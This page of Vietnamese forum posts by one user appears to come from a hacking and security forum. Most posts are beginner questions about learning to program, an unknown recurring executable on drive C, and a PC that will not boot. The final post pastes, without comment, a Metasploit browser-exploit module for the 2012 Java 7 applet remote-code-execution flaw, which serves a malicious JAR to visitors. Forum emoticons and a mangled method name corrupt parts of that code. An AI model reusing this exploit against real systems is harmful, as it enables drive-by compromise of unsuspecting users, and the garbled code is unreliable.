Messages posted by: kOi92

Cái này dùng có đc không mọi người. thấy trong phòng đọc có mấy phần giới thiệu về cái này /hvaonline/readingRoom/item/1643.html

Trước đây lần đầu tiên lên 4rum Hva mình có đăng 1 bài là Cần tìm pro dạy về hack. nhưng sau 1 time đọc và học hỏi trên đây mình rút ra đc một điều:
+ muốn trở thành 1 hacker thì ta phải biết và tìm hiểu về ngôn ngữ lập trình. trong 2 hay 3 tuần trở lại đây mình có tìm hiểu 1 chút về C++ với java nhưng trên mạng còn nhiều loại ngôn ngữ lập trình khác. mọi người có thể cho mình ý kiến về một loại ngôn ngữ lập trình nào mà hay dùng nhưng phải đơn giản 1 tý vào. Mình cũng chỉ là tìm hiểu thêm thôi
(Vì ham mê IT, ngày trc thi trượt BKAV lên chuyển sang học xây dựng) smilie

kuthihacker wrote:

E mới vào nghề, kinh nghiệm còn non kém, gần đây có khá nhiều IP quôc tế nó dò xét đến những mục nhạy cảm nên e khoá hết IP QT rùi, nhưng lại xuất hiện thằng này, e ko hiểu cái này là thế này, mong các bản giải đáp giúp

Cái này chứng tỏ thằng này sài hide IP nhưng vì e đã cấm nên nó đánh sài cách trên

nhưng e ko hiểu sao nó làm dc như zậy

dò toàn mục data nhỉ smilie

đã kill process nhưng vẫn không nén đc. đã mua đĩa win. Nhưng vẫn thanks mọi người nhá

bolzano_1989 wrote:

Tìm cách lấy file gửi lên mới có người xem cho bạn chứ.

không nén vào đc. nén vào thì mở thử ra file trống không có cái gi cả. tình hình là cầm búa đập thôi smilie

tvdsubo273 wrote:

thưỜng Virus Chỉ lÀ 1 cÁi frie thÔi....chỨ ít khi lÀ nguyÊn Ổ đĩA lẮm........nẾu bẠn đÃ quét virus rỒi mOà không đưỢc.......thì đó cÓ thỂ lÀ 1 chương trình nÀo đÓ mào bẠn cÀi thiẾu.......nÊn kO kích vÀo đưỢc.........

Mình rất ý khi cài chương trình vào ổ C lắm. Thường thì cài vào đó nó liên quan tới Win. nếu mà lỡ tay xoá nhầm thì xong rồi. nhưng cái file này tên rất chuối lại còn không xoá hoàn toàn đi đc. vài ngày sau lại thấu mặt nó. Mà dạo này máy chậm bất thường lắm. down kaspersky về quét thì chỉ đc 2 con trong máy thôi. không biết là do cái gì. mà để ý cFos Speed dạo này thấy nhiều kết nối lạ lắm. thỉnh thoảng máy không vào mạng. để ý wifi không ai dùng nhưng có thấy báo máy có kết nối mạng khoảng 1 - 2 phút speed lên tới 3k, tốc độ úp file lên tới 8k(lúc đấy máy rất chậm smilie

). không biết có khi nào thành Zom rôi không smilie

nhiepnhuphong wrote:

Dùng phần mềm diệt virus quét ổ C thử đi.

mình quét rồi. Ổ C có 2 con virus, nhưng ở File khác. không phải ở File này. Cách cuối cùng mới phải cài lại win. nhưng không muốn một tí nào. ai giúp em cái smilie

Máy em tự nhiên có cái file ihgFlpSsyÁFŒÍypnmsiqb.exe ở trong ổ C. em thấy nó không phải ứng dụng em cài lên đã xoá mấy lần rôi. nhưng sau 1 2 ngày là nó lại tự nhiên có. Em không nén đc vào rar và Zip lên không up đc lên cho mọi người xem. vào file đấy chỉ có 1 mục .exe 57 kb. smilie

[url=http://www.upanh.com/2_upanh/v/2vy82oeh4qm.htm]

[/url]

Có nghĩa là như thế này : em bật máy tính lên. máy có chạy như bình thường. nhưng không thể vào đến phần khởi động win đc. thường thì cái bước dầu tiên là có phần ấn Tab hoặc del để chọn set up đấy. Ngay sau đó lầ phần có mấy cái bảng ý. phần này thường chỉ nháy qua xong là mất. nhưng máy của em bị đứng ở phần đấy, không làm thế nào cho nó chạy tiếp đc lên mới phải ấn C + A + D. em lên mạng tìm những bài có liên quan tới vấn đề máy khó khởi động. nhưng các Pro ở đấy bảo chờ bảo là chờ máy khởi động ấn F8 chọn chế độ gì mà nạp lại cấu hình win ý. nhưng máy em không thế chạy đc tới đấy. cứ tắt máy vứt đấy vài tiếng mới bật lên đc. tắt đi xong là lại phải chờ.. như kiểu bảo trì, hjC

Cái Pc cùi của em dạo này nó dở chứng. cứ tắt máy đi bật lại là không vào đc win. chạy qua bước thông số kĩ thuật hay gì gì đo mà có mấy cái bẳng ý là đen ngòm. đứng im ở đấy luôn. Em đã kiểm tra Ram nhưng vẫn bình thường. Em cũng chẳng biết là do nguyên nhân gì nữa. Nhiều lúc thấy máy chậm chậm restart lại thì khỏi lên luôn. Có những lúc bật lên xong lại Ctrl + Alt + delete cả chục lần mới đc. Nản quá. ai giúp đc em không smilie

code này

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

def initialize( info = {} )
super( update_info( info,
'Name' => 'Java 7 Applet Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Java 7, which allows an attacker to run arbitrary
Java code outside the sandbox. This flaw is also being exploited in the wild, and there is
no patch from Oracle at this point. The exploit has been tested to work against: IE, Chrome
and Firefox across different platforms.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'jduck', # metasploit module
'sinn3r', # metasploit module
'juan vazquez', # metasploit module
],
'References' =>
[
#[ 'CVE', '' ],
#[ 'OSVDB', '' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ]
],
'Platform' => [ 'java', 'win', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 26 2012'
))
end

def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_wwwect(cli, get_resource() + '/', '')
return
end

print_status("#{self.name} handling request" smilie

send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end

paths = [
[ "Exploit.class" ]
]

p = regenerate_payload(cli)

jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/" smilie

+ "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-XXXX", path ), "rb" smilie

data = fd.read(fd.stat.size)
jar.add_file(path.join("/" smilie

, data)
fd.close
end

print_status("Sending Applet.jar" smilie

send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

handler( cli )
end

def generate_html
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end

end